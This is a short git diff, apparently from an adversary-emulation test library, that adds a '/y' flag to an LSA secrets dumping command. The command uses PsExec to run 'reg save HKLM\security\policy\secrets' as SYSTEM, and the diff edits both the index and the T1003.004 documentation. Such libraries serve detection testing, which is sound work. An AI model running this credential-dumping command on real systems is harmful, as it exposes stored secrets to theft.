diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index c72120e9..4e80f849 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -3333,7 +3333,7 @@ credential-access: Copy-Item $env:TEMP\PSTools\PsExec.exe #{psexec_exe} -Force executor: command: "#{psexec_exe} -accepteula -s reg save HKLM\\security\\policy\\secrets - %temp%\\secrets" + %temp%\\secrets /y" cleanup_command: del %temp%\secrets >nul 2> nul name: command_prompt elevation_required: true diff --git a/atomics/T1003.004/T1003.004.md b/atomics/T1003.004/T1003.004.md index 15260a63..9ba481f0 100644 --- a/atomics/T1003.004/T1003.004.md +++ b/atomics/T1003.004/T1003.004.md @@ -36,7 +36,7 @@ https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%2 ```cmd -#{psexec_exe} -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets +#{psexec_exe} -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets /y ``` #### Cleanup Commands: